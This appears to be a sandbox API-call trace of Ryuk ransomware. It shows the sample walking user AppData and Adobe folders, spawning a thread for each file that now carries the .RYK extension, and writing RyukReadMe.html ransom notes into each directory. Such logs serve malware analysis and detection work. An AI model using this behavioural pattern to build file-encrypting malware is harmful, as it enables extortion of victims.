	[0246.358] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74c793a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x14e, dwReserved1=0x0, cFileName="ACECache11.lst.RYK", cAlternateFileName="ACECAC~1.RYK")) returned 1
	[0246.358] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.359] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x454
	[0246.361] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.361] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74f00b00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74f00b00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14e, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1
	[0246.361] SetLastError (dwErrCode=0x0) 
	[0246.362] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0246.362] GetLastError () returned 0xb7
	[0246.362] CloseHandle (hObject=0x4ac) returned 1
	[0246.362] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74f00b00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74f00b00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef8b0
	[0246.363] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74f00b00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74f00b00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0246.363] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x747b67a0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x747b67a0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x747b67a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x15a, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0246.363] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74eb4840, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x103c2, dwReserved0=0x15a, dwReserved1=0x0, cFileName="wscRGB.icc.RYK", cAlternateFileName="WSCRGB~1.RYK")) returned 1
	[0246.363] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.364] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b0
	[0246.364] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.365] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74e42420, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x15a, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 1
	[0246.365] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.366] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b4
	[0246.367] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.368] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74e42420, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x15a, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 0
	[0246.368] FindClose (in: hFindFile=0x3ef8b0 | out: hFindFile=0x3ef8b0) returned 1
	[0246.368] SetLastError (dwErrCode=0x0) 
	[0246.368] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0246.368] GetLastError () returned 0xb7
	[0246.368] CloseHandle (hObject=0x4ac) returned 1
	[0246.368] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x14e, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0246.369] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x14e, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0246.369] FindClose (in: hFindFile=0x3ef850 | out: hFindFile=0x3ef850) returned 1
	[0246.369] SetLastError (dwErrCode=0x0) 
	[0246.369] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448
	[0246.369] GetLastError () returned 0xb7
	[0246.369] CloseHandle (hObject=0x448) returned 1
	[0246.369] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x142, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0246.369] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x142, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0246.370] FindClose (in: hFindFile=0x3ef7f0 | out: hFindFile=0x3ef7f0) returned 1
	[0246.370] SetLastError (dwErrCode=0x0) 
	[0246.370] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x41c
	[0246.370] GetLastError () returned 0xb7
	[0246.370] CloseHandle (hObject=0x41c) returned 1
	[0246.370] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0246.370] SetLastError (dwErrCode=0x0) 
	[0246.370] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x41c
	[0246.371] GetLastError () returned 0xb7
	[0246.371] CloseHandle (hObject=0x41c) returned 1
	[0246.371] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*.*", lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x142, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef7f0
	[0246.371] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x142, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0246.371] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x142, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0246.371] SetLastError (dwErrCode=0x0) 
	[0246.372] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448
	[0246.372] GetLastError () returned 0xb7
	[0246.372] CloseHandle (hObject=0x448) returned 1
	[0246.372] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*.*", lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x164, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef850
	[0246.372] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x164, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0246.372] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x164, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
	[0246.372] SetLastError (dwErrCode=0x0) 
	[0246.373] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0246.373] GetLastError () returned 0xb7
	[0246.373] CloseHandle (hObject=0x4ac) returned 1
	[0246.373] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x170, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef8b0
	[0246.373] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x170, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0246.373] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x170, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
	[0246.373] SetLastError (dwErrCode=0x0) 
	[0246.373] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b8
	[0246.374] GetLastError () returned 0xb7
	[0246.374] CloseHandle (hObject=0x4b8) returned 1
	[0246.374] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efa30
	[0246.374] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0246.374] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x74933560, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x8a42, dwReserved0=0x180, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst.RYK", cAlternateFileName="ADOBEC~1.RYK")) returned 1
	[0246.374] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.375] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4bc
	[0246.581] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.582] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x74802a60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x21df2, dwReserved0=0x180, dwReserved1=0x0, cFileName="AdobeSysFnt10.lst.RYK", cAlternateFileName="ADOBES~1.RYK")) returned 1
	[0246.582] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.583] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x464
	[0246.584] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.584] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x74c53240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74c53240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
	[0246.585] SetLastError (dwErrCode=0x0) 
	[0246.585] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0246.585] GetLastError () returned 0xb7
	[0246.585] CloseHandle (hObject=0x118) returned 1
	[0246.585] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x74c53240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74c53240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef9d0
	[0246.585] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x74c53240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74c53240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0246.585] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x74a17da0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xd0e2, dwReserved0=0x18a, dwReserved1=0x0, cFileName="AcroFnt10.lst.RYK", cAlternateFileName="ACROFN~1.RYK")) returned 1
	[0246.585] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.586] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x438
